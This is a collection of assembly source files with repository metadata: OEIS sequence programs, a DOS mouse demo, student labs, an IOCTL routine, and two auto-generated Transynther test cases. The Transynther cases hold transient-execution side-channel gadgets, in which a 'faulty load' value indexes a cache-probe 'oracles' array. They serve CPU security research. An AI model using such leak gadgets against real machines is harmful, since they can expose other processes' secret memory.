TheStack | 8d6a2cbe0d23015c1746e9a364a7e1414ca064c2 | Assemblycode:Assembly | {"size": 5949, "ext": "asm", "max_stars_repo_path": "Transynther/x86/_processed/NONE/_zr_/i9-9900K_12_0xa0.log_21829_1044.asm", "max_stars_repo_name": "ljhsiun2/medusa", "max_stars_repo_stars_event_min_datetime": "2020-08-13T19:41:58.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-30T12:22:51.000Z", "max_issues_repo_path": "Transynther/x86/_processed/NONE/_zr_/i9-9900K_12_0xa0.log_21829_1044.asm", "max_issues_repo_name": "ljhsiun2/medusa", "max_issues_repo_issues_event_min_datetime": "2021-04-29T06:29:35.000Z", "max_issues_repo_issues_event_max_datetime": "2021-05-13T21:02:30.000Z", "max_forks_repo_path": "Transynther/x86/_processed/NONE/_zr_/i9-9900K_12_0xa0.log_21829_1044.asm", "max_forks_repo_name": "ljhsiun2/medusa", "max_forks_repo_forks_event_min_datetime": "2020-07-14T17:07:07.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-21T01:12:22.000Z"} | {"max_stars_count": 9, "max_issues_count": 1, "max_forks_count": 3, "avg_line_length": 37.8917197452, "max_line_length": 2999, "alphanum_fraction": 0.660110943} | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %r13
push %r9
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_WT_ht+0xe727, %rsi
lea addresses_WT_ht+0x1b6b7, %rdi
clflush (%rsi)
nop
nop
nop
nop
mfence
mov $7, %rcx
rep movsl
cmp $17576, %r13
lea addresses_UC_ht+0x102b7, %rdx
nop
nop
dec %r10
movb $0x61, (%rdx)
nop
nop
nop
sub %rdi, %rdi
lea addresses_A_ht+0x4ab7, %r10
nop
dec %rdi
mov $0x6162636465666768, %r13
movq %r13, %xmm6
vmovups %ymm6, (%r10)
nop
nop
nop
nop
nop
sub $36870, %r13
lea addresses_D_ht+0x11227, %rsi
nop
nop
nop
nop
nop
sub $8925, %rdi
mov $0x6162636465666768, %rcx
movq %rcx, %xmm7
vmovups %ymm7, (%rsi)
nop
nop
nop
nop
nop
add %r11, %r11
lea addresses_WT_ht+0xc777, %rsi
lea addresses_WT_ht+0x14db7, %rdi
add $59274, %r9
mov $75, %rcx
rep movsq
nop
nop
cmp %rsi, %rsi
lea addresses_normal_ht+0xb88d, %rdx
nop
nop
nop
nop
nop
add $14950, %r9
movb (%rdx), %r13b
nop
nop
nop
nop
xor $23880, %rdx
lea addresses_normal_ht+0x4a07, %r13
clflush (%r13)
nop
inc %rdi
movw $0x6162, (%r13)
nop
nop
nop
nop
nop
xor %rdx, %rdx
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %r9
pop %r13
pop %r11
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r14
push %r8
push %rax
push %rbx
push %rdi
push %rsi
// Store
lea addresses_UC+0x4eb7, %r8
nop
nop
add $32324, %rax
movw $0x5152, (%r8)
nop
and $17553, %r8
// Faulty Load
lea addresses_WT+0xa2b7, %rbx
nop
nop
nop
nop
sub $34317, %rax
mov (%rbx), %si
lea oracles, %r14
and $0xff, %rsi
shlq $12, %rsi
mov (%r14,%rsi,1), %rsi
pop %rsi
pop %rdi
pop %rbx
pop %rax
pop %r8
pop %r14
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_WT', 'AVXalign': False, 'size': 32}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 8, 'type': 'addresses_UC', 'AVXalign': False, 'size': 2}}
[Faulty Load]
{'src': {'NT': False, 'same': True, 'congruent': 0, 'type': 'addresses_WT', 'AVXalign': False, 'size': 2}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'same': False, 'congruent': 4, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 10, 'type': 'addresses_WT_ht'}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 8, 'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 1}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 5, 'type': 'addresses_A_ht', 'AVXalign': False, 'size': 32}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 4, 'type': 'addresses_D_ht', 'AVXalign': False, 'size': 32}}
{'src': {'same': False, 'congruent': 6, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 7, 'type': 'addresses_WT_ht'}}
{'src': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 1}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 4, 'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 2}}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
||||
TheStack | d1aae61d4f4361857c5cf8d22fc4ee7e58b8f22c | Assemblycode:Assembly | {"size": 1006, "ext": "asm", "max_stars_repo_path": "oeis/180/A180195.asm", "max_stars_repo_name": "neoneye/loda-programs", "max_stars_repo_stars_event_min_datetime": "2021-08-22T19:44:55.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-20T16:47:57.000Z", "max_issues_repo_path": "oeis/180/A180195.asm", "max_issues_repo_name": "neoneye/loda-programs", "max_issues_repo_issues_event_min_datetime": "2021-08-29T13:15:54.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-09T19:52:31.000Z", "max_forks_repo_path": "oeis/180/A180195.asm", "max_forks_repo_name": "neoneye/loda-programs", "max_forks_repo_forks_event_min_datetime": "2021-08-22T20:56:47.000Z", "max_forks_repo_forks_event_max_datetime": "2021-09-29T06:26:12.000Z"} | {"max_stars_count": 11, "max_issues_count": 9, "max_forks_count": 3, "avg_line_length": 17.649122807, "max_line_length": 184, "alphanum_fraction": 0.4990059642} | ; A180195: a(n)=(-1)^n*Sum((-1)^j*b(j), j=1..n), where b(n)=(n-1)!*(n^2 - n + 1) = A001564(n-1) (n>=1).
; Submitted by Jamie Morken(s3)
; 1,2,12,66,438,3282,27678,259602,2683758,30338322,372458478,4936475922,70266775278,1069278031122,17325341412078,297824181275922,5414097458148078,103781942967323922,2092232238097380078
mov $7,2
mov $10,$0
lpb $7
mov $0,$10
sub $7,1
add $0,$7
sub $0,1
mov $12,2
mov $13,0
mov $14,$0
lpb $12
mov $0,$14
mov $6,0
sub $12,1
add $0,$12
add $0,1
mov $2,1
lpb $0
mov $3,$2
lpb $3
add $1,$3
add $2,1
mul $2,4
mov $4,$1
mul $1,$8
gcd $4,$2
cmp $4,1
cmp $4,0
sub $3,$4
add $6,$0
lpe
add $2,1
mul $6,$0
sub $0,1
lpe
mov $0,$6
mov $11,$12
mul $11,$6
add $13,$11
lpe
min $14,1
mul $14,$0
mov $0,$13
sub $0,$14
mov $5,$7
mul $5,$0
add $9,$5
lpe
min $10,1
mul $10,$0
mov $0,$9
sub $0,$10
|
||||
TheStack | 6e545b02fa15bf88a60001909fe6a5104c8c11e8 | Assemblycode:Assembly | {"size": 559, "ext": "asm", "max_stars_repo_path": "oeis/240/A240935.asm", "max_stars_repo_name": "neoneye/loda-programs", "max_stars_repo_stars_event_min_datetime": "2021-08-22T19:44:55.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-20T16:47:57.000Z", "max_issues_repo_path": "oeis/240/A240935.asm", "max_issues_repo_name": "neoneye/loda-programs", "max_issues_repo_issues_event_min_datetime": "2021-08-29T13:15:54.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-09T19:52:31.000Z", "max_forks_repo_path": "oeis/240/A240935.asm", "max_forks_repo_name": "neoneye/loda-programs", "max_forks_repo_forks_event_min_datetime": "2021-08-22T20:56:47.000Z", "max_forks_repo_forks_event_max_datetime": "2021-09-29T06:26:12.000Z"} | {"max_stars_count": 11, "max_issues_count": 9, "max_forks_count": 3, "avg_line_length": 17.46875, "max_line_length": 201, "alphanum_fraction": 0.5259391771} | ; A240935: Decimal expansion of 3*sqrt(3)/(4*Pi).
; Submitted by Christian Krause
; 4,1,3,4,9,6,6,7,1,5,6,6,3,4,4,0,3,7,1,3,3,4,9,4,8,7,3,7,3,4,7,2,7,0,8,1,0,4,8,0,3,9,8,6,0,2,7,4,9,8,0,4,8,9,5,9,9,5,2,4,5,1,5,2,1,8,2,7,2,7,2,7,6,0,1,9,5,2,3,4,6,1,3,0,2,8,5,0,2,1,6,1,7,3,7,8,1,6,6,9
add $0,1
mov $3,$0
mul $3,4
lpb $3
mul $1,$3
mul $2,2
sub $2,1
mov $5,$3
mul $5,2
add $5,1
mul $2,$5
add $1,$2
div $1,$0
div $2,$0
sub $3,1
lpe
mul $1,2
sub $1,$2
add $2,$1
mov $4,10
pow $4,$0
div $2,$4
div $1,$2
sub $4,$1
mov $0,$4
sub $0,1
mod $0,10
|
||||
TheStack | ba8394d3dc40b86c7bc293bedec88b30c25131b7 | Assemblycode:Assembly | {"size": 491, "ext": "asm", "max_stars_repo_path": "lab_06/lab5.asm", "max_stars_repo_name": "natemara/CSE-278", "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "lab_06/lab5.asm", "max_issues_repo_name": "natemara/CSE-278", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "lab_06/lab5.asm", "max_forks_repo_name": "natemara/CSE-278", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null} | {"max_stars_count": null, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 11.9756097561, "max_line_length": 38, "alphanum_fraction": 0.6863543788} | global main
extern printf, scanf
section .data
input: dd 0
fmtMsg: db 'Enter input', 0xA, 0x0
fmtPrintf: db 'result = %d', 0xA, 0x0
fmtScanf: db '%d', 0x0
section .text
main:
push fmtMsg
call printf
add esp, 4
push input
push fmtScanf
call scanf
add esp, 8
mov ebx, [input]
push fmtMsg
call printf
add esp, 4
push input
push fmtScanf
call scanf
add esp, 8
add ebx, [input]
push dword ebx
push fmtPrintf
call printf
add esp, 8
push dword ebx
add esp, 4
ret
|
||||
TheStack | f51d38b2d326849e751c98e60076541aa3b2b33a | Assemblycode:Assembly | {"size": 225, "ext": "asm", "max_stars_repo_path": "Src/Ant8/Tests/aa8/basic/12_inc_r1.asm", "max_stars_repo_name": "geoffthorpe/ant-architecture", "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "Src/Ant8/Tests/aa8/basic/12_inc_r1.asm", "max_issues_repo_name": "geoffthorpe/ant-architecture", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "Src/Ant8/Tests/aa8/basic/12_inc_r1.asm", "max_forks_repo_name": "geoffthorpe/ant-architecture", "max_forks_repo_forks_event_min_datetime": "2020-07-15T04:09:05.000Z", "max_forks_repo_forks_event_max_datetime": "2020-07-15T04:09:05.000Z"} | {"max_stars_count": null, "max_issues_count": null, "max_forks_count": 1, "avg_line_length": 17.3076923077, "max_line_length": 70, "alphanum_fraction": 0.6977777778} | # $Id: 12_inc_r1.asm,v 1.3 2001/03/22 00:39:00 ellard Exp $
#
# Copyright 1999-2001 by the President and Fellows of Harvard College.
# See LICENSE.txt for license information.
#
#@ Testing inc for r1.
# OK
inc r1, 1
hlt
|
||||
TheStack | 43b8f30a3412eb0c0945fca276b926cfb5168706 | Assemblycode:Assembly | {"size": 465, "ext": "asm", "max_stars_repo_path": "programs/oeis/063/A063123.asm", "max_stars_repo_name": "neoneye/loda", "max_stars_repo_stars_event_min_datetime": "2018-02-06T19:19:31.000Z", "max_stars_repo_stars_event_max_datetime": "2022-01-17T21:53:31.000Z", "max_issues_repo_path": "programs/oeis/063/A063123.asm", "max_issues_repo_name": "neoneye/loda", "max_issues_repo_issues_event_min_datetime": "2021-02-22T19:00:34.000Z", "max_issues_repo_issues_event_max_datetime": "2021-08-28T10:47:47.000Z", "max_forks_repo_path": "programs/oeis/063/A063123.asm", "max_forks_repo_name": "neoneye/loda", "max_forks_repo_forks_event_min_datetime": "2021-02-24T21:14:16.000Z", "max_forks_repo_forks_event_max_datetime": "2021-08-09T19:48:05.000Z"} | {"max_stars_count": 22, "max_issues_count": 41, "max_forks_count": 5, "avg_line_length": 46.5, "max_line_length": 245, "alphanum_fraction": 0.5870967742} | ; A063123: Number of solutions (r,s), 0< r< s, to the equation 1/n = 1/r + 1/s + 1/(r*s).
; 1,2,3,3,4,4,4,6,6,4,6,6,4,8,10,5,6,6,6,12,8,4,8,12,6,8,12,6,8,8,6,12,8,8,18,9,4,8,16,8,8,8,6,18,12,4,10,15,9,12,12,6,8,16,16,16,8,4,12,12,4,12,21,14,16,8,6,12,16,8,12,12,4,12,18,12,16,8,10,25,10,4,12,24,8,8,16,8,12,24,12,12,8,8,24,12,6,18,27,9
mov $2,1
add $2,$0
pow $2,2
add $0,$2
seq $0,5 ; d(n) (also called tau(n) or sigma_0(n)), the number of divisors of n.
div $0,2
|
||||
TheStack | e3f56678a58c52c4618af1152f5ab3e1aab1752d | Assemblycode:Assembly | {"size": 959, "ext": "asm", "max_stars_repo_path": "ioctl/IomUnmarkCollisionArea.asm", "max_stars_repo_name": "osfree-project/FamilyAPI", "max_stars_repo_stars_event_min_datetime": "2021-11-25T14:01:48.000Z", "max_stars_repo_stars_event_max_datetime": "2021-11-25T14:01:48.000Z", "max_issues_repo_path": "ioctl/IomUnmarkCollisionArea.asm", "max_issues_repo_name": "osfree-project/FamilyAPI", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "ioctl/IomUnmarkCollisionArea.asm", "max_forks_repo_name": "osfree-project/FamilyAPI", "max_forks_repo_forks_event_min_datetime": "2021-11-05T06:48:43.000Z", "max_forks_repo_forks_event_max_datetime": "2021-12-06T08:07:38.000Z"} | {"max_stars_count": 1, "max_issues_count": null, "max_forks_count": 2, "avg_line_length": 19.5714285714, "max_line_length": 70, "alphanum_fraction": 0.5974973931} |
;--------------------------------------------------------
; Category 7 Function 57 Unmark collision area
;--------------------------------------------------------
;
;Purpose
;Frees the Mouse to Draw the Pointer anywhere on the Screen
;Parameter Packet Format
;None
;Data Packet Format
;None
;Returns
;None
;Remarks
;This function checks the pointer position, frees it if necessary, and
;allows it to draw anywhere on the screen.
;
;
IOMUNMARKCOLLISIONAREA PROC NEAR
MOV AX, ERROR_INVALID_PARAMETER
XOR BX, BX
CMP BX, WORD PTR [DS:BP].ARGS.DDATA
JNZ EXIT
CMP BX, WORD PTR [DS:BP].ARGS.DDATA+2
JNZ EXIT
CMP BX, WORD PTR [DS:BP].ARGS.PARMLIST
JNZ EXIT
CMP BX, WORD PTR [DS:BP].ARGS.PARMLIST+2
JNZ EXIT
LES BX, [DS:BP].ARGS.PARMLIST
MOV CX, [ES:BX]
MOV DX, [ES:BX+4]
MOV AX, 8H
INT 33H
MOV CX, [ES:BX+2]
MOV DX, [ES:BX+6]
MOV AX, 7H
INT 33H
XOR AX, AX
EXIT:
RET
IOMUNMARKCOLLISIONAREA ENDP
|
||||
TheStack | f0454bd198cbafea9aa58ce6493e03cfdb783c89 | Assemblycode:Assembly | {"size": 5344, "ext": "asm", "max_stars_repo_path": "Examples/ch15/Mouse.asm", "max_stars_repo_name": "satadriver/LiunuxOS_t", "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "Examples/ch15/Mouse.asm", "max_issues_repo_name": "satadriver/LiunuxOS_t", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "Examples/ch15/Mouse.asm", "max_forks_repo_name": "satadriver/LiunuxOS_t", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null} | {"max_stars_count": null, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 23.1341991342, "max_line_length": 65, "alphanum_fraction": 0.5862649701} | TITLE Tracking the Mouse (mouse.asm)
; This simple mouse demo program is designed to show off some
; of the basic mouse functions available through INT 33h.
; Last update: 8/21/01
;
; In Standard DOS mode, each character position in the DOS window
; is equal to 8 mouse units (called "mickeys").
INCLUDE Irvine16.inc
.data
ESCkey = 1Bh
GreetingMsg BYTE "Press Esc to quit",0dh,0ah,0
StatusLine BYTE "Left button: "
BYTE "Mouse position: ",0
blanks BYTE " ",0
Xcoordinate WORD 0 ; current X-position
Ycoordinate WORD 0 ; current Y-position
Xclick WORD 0 ; X-pos of last button click
Yclick WORD 0 ; Y-pos of last button click
.code
main PROC
mov ax,@data
mov ds,ax
; Hide the text cursor and display the mouse.
call HideCursor
mov dx,OFFSET GreetingMsg
call WriteString
call ShowMousePointer
; Display a status line on line 24.
mov dh,24
mov dl,0
call Gotoxy
mov dx,OFFSET StatusLine
call Writestring
; Loop: show mouse coordinates, check for left mouse
; button click, or for a keypress (Esc key).
L1: call ShowMousePosition
call LeftButtonClick ; check for button click
mov ah,11h ; key pressed already?
int 16h
jz L2 ; no, continue the loop
mov ah,10h ; remove key from buffer
int 16h
cmp al,ESCkey ; yes. Is it the ESC key?
je quit ; yes, quit the program
L2: jmp L1 ; no, continue the loop
; Hide the mouse, restore the text cursor, clear
; the screen, and display "Press any key to continue."
quit:
call HideMousePointer
call ShowCursor
call Clrscr
call WaitMsg
exit
main ENDP
;---------------------------------------------------------
GetMousePosition PROC
;
; Return the current mouse position and button status.
; Receives: nothing
; Returns: BX = button status (0 = left button down,
; (1 = right button down, 2 = center button down)
; CX = X-coordinate
; DX = Y-coordinate
;---------------------------------------------------------
push ax
mov ax,3
int 33h
pop ax
ret
GetMousePosition ENDP
;---------------------------------------------------------
HideCursor proc
;
; Hide the text cursor by setting its top line
; value to an illegal value.
;---------------------------------------------------------
mov ah,3 ; get cursor size
int 10h
or ch,30h ; set upper row to illegal value
mov ah,1 ; set cursor size
int 10h
ret
HideCursor ENDP
ShowCursor PROC
mov ah,3 ; get cursor size
int 10h
mov ah,1 ; set cursor size
mov cx,0607h ; default size
int 10h
ret
ShowCursor ENDP
;---------------------------------------------------------
HideMousePointer PROC
;---------------------------------------------------------
push ax
mov ax,2 ; hide mouse cursor
int 33h
pop ax
ret
HideMousePointer ENDP
;---------------------------------------------------------
ShowMousePointer PROC
;---------------------------------------------------------
push ax
mov ax,1 ; make mouse cursor visible
int 33h
pop ax
ret
ShowMousePointer ENDP
;---------------------------------------------------------
LeftButtonClick PROC
;
; Check for the most recent click of the left mouse
; button, and display its location.
; Receives: BX = button number (0=left, 1=right, 2=middle)
; Returns: BX = button press counter
; CX = X-coordinate
; DX = Y-coordinate
;---------------------------------------------------------
pusha
mov ah,0 ; get mouse status
mov al,5 ; (button press information)
mov bx,0 ; specify the left button
int 33h
; Exit proc if the coordinates have not changed.
cmp cx,Xclick
jne LBC1
cmp dx,Yclick
je LBC_exit
LBC1:
; Save the mouse coordinates.
mov Xclick,cx
mov Yclick,dx
; Position the cursor, clear the old numbers.
mov dh,24 ; screen row
mov dl,15 ; screen column
call Gotoxy
push dx
mov dx,OFFSET blanks
call WriteString
pop dx
; Show the mouse click coordinates.
call Gotoxy
mov ax,Xcoordinate
call WriteDec
mov dl,20 ; screen column
call Gotoxy
mov ax,Ycoordinate
call WriteDec
LBC_exit:
popa
ret
LeftButtonClick ENDP
;---------------------------------------------------------
SetMousePosition PROC
;
; Set the mouse's position on the screen.
; Receives: CX = X-coordinate
; DX = Y-coordinate
; Returns: nothing
;---------------------------------------------------------
mov ax,4
int 33h
ret
SetMousePosition ENDP
;---------------------------------------------------------
ShowMousePosition PROC
;
; Get and show the mouse corrdinates at the
; bottom of the screen.
; Receives: nothing
; Returns: nothing
;---------------------------------------------------------
pusha
call GetMousePosition
; Exit proc if the coordinates have not changed.
cmp cx,Xcoordinate
jne SMP1
cmp dx,Ycoordinate
je SMP_exit
SMP1:
mov Xcoordinate,cx
mov Ycoordinate,dx
; Position the cursor, clear the old numbers.
mov dh,24 ; screen row
mov dl,60 ; screen column
call Gotoxy
push dx
mov dx,OFFSET blanks
call WriteString
pop dx
; Show the mouse coordinates.
call Gotoxy ; (24,60)
mov ax,Xcoordinate
call WriteDec
mov dl,65 ; screen column
call Gotoxy
mov ax,Ycoordinate
call WriteDec
SMP_exit:
popa
ret
ShowMousePosition ENDP
END main |
||||
TheStack | 9bed1d4b1604c2c63d0485c65cd47374c020bf0a | Assemblycode:Assembly | {"size": 6050, "ext": "asm", "max_stars_repo_path": "Transynther/x86/_processed/NONE/_xt_sm_/i7-7700_9_0xca.log_21829_1417.asm", "max_stars_repo_name": "ljhsiun2/medusa", "max_stars_repo_stars_event_min_datetime": "2020-08-13T19:41:58.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-30T12:22:51.000Z", "max_issues_repo_path": "Transynther/x86/_processed/NONE/_xt_sm_/i7-7700_9_0xca.log_21829_1417.asm", "max_issues_repo_name": "ljhsiun2/medusa", "max_issues_repo_issues_event_min_datetime": "2021-04-29T06:29:35.000Z", "max_issues_repo_issues_event_max_datetime": "2021-05-13T21:02:30.000Z", "max_forks_repo_path": "Transynther/x86/_processed/NONE/_xt_sm_/i7-7700_9_0xca.log_21829_1417.asm", "max_forks_repo_name": "ljhsiun2/medusa", "max_forks_repo_forks_event_min_datetime": "2020-07-14T17:07:07.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-21T01:12:22.000Z"} | {"max_stars_count": 9, "max_issues_count": 1, "max_forks_count": 3, "avg_line_length": 37.1165644172, "max_line_length": 2999, "alphanum_fraction": 0.6514049587} | .global s_prepare_buffers
s_prepare_buffers:
push %r13
push %r8
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_UC_ht+0x12ab8, %rdi
nop
nop
nop
cmp %rsi, %rsi
mov $0x6162636465666768, %rdx
movq %rdx, %xmm1
movups %xmm1, (%rdi)
nop
nop
sub $17881, %rcx
lea addresses_UC_ht+0xb0b8, %rdx
nop
nop
nop
nop
and %r13, %r13
mov (%rdx), %r8w
nop
nop
nop
nop
dec %rdx
lea addresses_WT_ht+0x15eb8, %r8
nop
nop
nop
nop
nop
and %r13, %r13
movw $0x6162, (%r8)
nop
nop
cmp $53278, %rcx
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %r8
pop %r13
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r14
push %r8
push %r9
push %rax
push %rcx
push %rsi
// Store
lea addresses_RW+0xe2b8, %r12
and %rsi, %rsi
movl $0x51525354, (%r12)
nop
nop
nop
nop
nop
xor %r12, %r12
// Load
lea addresses_WT+0x1d140, %r8
sub %r14, %r14
movntdqa (%r8), %xmm2
vpextrq $0, %xmm2, %rsi
nop
and $62262, %r8
// Store
lea addresses_RW+0xe2b8, %rax
nop
nop
add %rcx, %rcx
movb $0x51, (%rax)
nop
nop
nop
nop
and %r14, %r14
// Store
lea addresses_WC+0xeab8, %r14
clflush (%r14)
nop
nop
nop
cmp $35951, %rsi
mov $0x5152535455565758, %r8
movq %r8, (%r14)
xor %r14, %r14
// Store
lea addresses_WC+0x86a8, %r8
cmp $39694, %rsi
mov $0x5152535455565758, %rcx
movq %rcx, %xmm5
movups %xmm5, (%r8)
nop
nop
nop
nop
nop
xor $28400, %r12
// Store
lea addresses_RW+0xe2b8, %r12
and %rsi, %rsi
movw $0x5152, (%r12)
nop
nop
nop
nop
cmp $19363, %r12
// Faulty Load
lea addresses_RW+0xe2b8, %r9
nop
xor %rsi, %rsi
mov (%r9), %r8w
lea oracles, %r12
and $0xff, %r8
shlq $12, %r8
mov (%r12,%r8,1), %r8
pop %rsi
pop %rcx
pop %rax
pop %r9
pop %r8
pop %r14
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'src': {'congruent': 0, 'AVXalign': True, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_RW'}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 4, 'NT': False, 'type': 'addresses_RW'}}
{'src': {'congruent': 2, 'AVXalign': False, 'same': False, 'size': 16, 'NT': True, 'type': 'addresses_WT'}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 1, 'NT': False, 'type': 'addresses_RW'}}
{'OP': 'STOR', 'dst': {'congruent': 11, 'AVXalign': False, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_WC'}}
{'OP': 'STOR', 'dst': {'congruent': 3, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_WC'}}
{'OP': 'STOR', 'dst': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 2, 'NT': False, 'type': 'addresses_RW'}}
[Faulty Load]
{'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 2, 'NT': False, 'type': 'addresses_RW'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'congruent': 10, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_UC_ht'}}
{'src': {'congruent': 6, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_UC_ht'}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'congruent': 9, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_WT_ht'}}
{'52': 21829}
